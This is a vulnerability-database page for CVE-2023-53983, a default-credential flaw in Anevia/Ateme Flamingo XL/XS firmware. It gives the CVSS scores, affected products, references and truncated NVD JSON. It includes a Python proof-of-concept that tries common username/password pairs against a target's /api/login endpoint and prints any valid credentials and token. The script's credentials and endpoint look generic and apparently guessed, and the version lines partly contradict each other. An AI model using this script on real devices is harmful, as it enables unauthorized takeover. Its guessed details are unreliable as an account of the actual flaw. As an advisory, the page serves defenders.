CVE-2023-53983

Description

Anevia Flamingo XL/XS 3.6.20 contains a critical vulnerability with weak default administrative credentials that can be easily guessed. Attackers can leverage these hard-coded credentials to gain full remote system control without complex authentication mechanisms.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ateme:flamingo_xl_firmware:3.2.9:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:ateme:flamingo_xl_firmware:3.6.20:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:ateme:flamingo_xl:1.0:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:ateme:flamingo_xl:1.1:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:ateme:flamingo_xs_firmware:3.2.9:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:ateme:flamingo_xs_firmware:3.6.20:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:ateme:flamingo_xs:1.0:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:ateme:flamingo_xs:1.1:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:ateme:soaplive:2.0.3:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ateme:soaplive:2.4.1:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ateme:soapsystem:1.3.1:*:*:*:*:*:*:* - VULNERABLE

Anevia Flamingo XL < 3.6.20

Anevia Flamingo XS < 3.6.20

Anevia Flamingo 3.6.x (all versions)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2023-53983 PoC - Default Credentials Exploitation
# Target: Anevia Flamingo XL/XS 3.6.20

def exploit_cve_2023_53983(target_url):
    """
    Exploit for default credentials vulnerability in Anevia Flamingo
    """
    # Common default credentials for Anevia Flamingo devices
    default_creds = [
        ('admin', 'admin'),
        ('admin', 'password'),
        ('admin', '123456'),
        ('root', 'root'),
        ('administrator', 'administrator'),
        ('flamingo', 'flamingo'),
        ('user', 'user')
    ]
    
    login_url = f"{target_url}/api/login"
    
    for username, password in default_creds:
        try:
            response = requests.post(
                login_url,
                json={'username': username, 'password': password},
                timeout=10
            )
            
            if response.status_code == 200:
                data = response.json()
                if data.get('success') or 'token' in data:
                    print(f"[+] Success! Valid credentials found: {username}:{password}")
                    print(f"[+] Token/Session: {data.get('token', 'N/A')}")
                    return True
        except Exception as e:
            print(f"[-] Error: {e}")
    
    print("[-] No valid default credentials found")
    return False

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <target_url>")
        print(f"Example: python {sys.argv[0]} http://192.168.1.100")
        sys.exit(1)
    
    target = sys.argv[1]
    exploit_cve_2023_53983(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53983
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53983
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53983/
[4] VulDB https://vuldb.com/cve/CVE-2023-53983
[5] https://cxsecurity.com/issue/WLB-2023060019
[6] https://exchange.xforce.ibmcloud.com/vulnerabilities/259059
[7] https://packetstormsecurity.com/files/172875/Anevia-Flamingo-XL-XS-3.6.x-Default-Hardcoded-Credentials.html
[8] https://www.ateme.com/
[9] https://www.vulncheck.com/advisories/anevia-flamingo-xlxs-default-credentials-authentication-bypass
[10] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5777.php
[11] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5777.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-53983", "sourceIdentifier": "[email protected]", "published": "2025-12-30T23:15:48.163", "lastModified": "2026-01-16T19:16:14.653", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Anevia Flamingo XL/XS 3.6.20 contains a critical vulnerability with weak default administrative credentials that can be easily guessed. Attackers can leverage these hard-coded credentials to gain full remote system control without complex authentication mechanisms."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ateme:flamingo_xl_firmware:3.2.9:*:*:*:*:*:*:*", "matchCriteriaId": "D7DA2A13-C8E0-4E85-9A88-CF8483C245C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:ateme:flamingo_xl_firmware:3.6.20:*:*:*:*:*:*:*", "matchCriteriaId": "360CCA47-3823-4C06-926C-B73742878506"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ateme:flamingo_xl:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "719E1C7A-4BDB-4E45-9FE6-DE8980C98B34"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ateme:flamingo_xl:1.1:*:*:*:*:*:*:*", "matchCriteriaId": "EA45AA11-0B30-461A-A5CC-67808204909B"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ateme:flamingo_xs_firmware:3.2.9:*:*:*:*:*:*:*", "matchCriteriaId": "31A30685-1DFA-4E24-A23B-2C49106C50E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:ateme:flamingo_xs_firmware:3.6.20:*:*:*:*:*:*:*", "matchCriteriaId": "9DFE53BF-BF12-4A80-805F-AE5EF0305DD8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ateme:flamingo_xs:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "38F53978-9D70-437E-8952-25A3CCEA0692"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ateme:flamingo_xs:1.1:*:*:*:*:*:*:*", "matchCriteriaId": "3BBACA6C-CAC5-4854-AA79-F47D66357414"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ateme:soaplive:2.0.3:*:*:*:*:*:*:*", "matchCriteriaId": "DDFC906E-6EDD-4EF1-AF4D-9D1FBC0B0967"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ateme:soaplive:2.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "E462C8DC-62C5-411B-8ABC-E8C65E41388C"}, {"vulnerable": true, ... (truncated)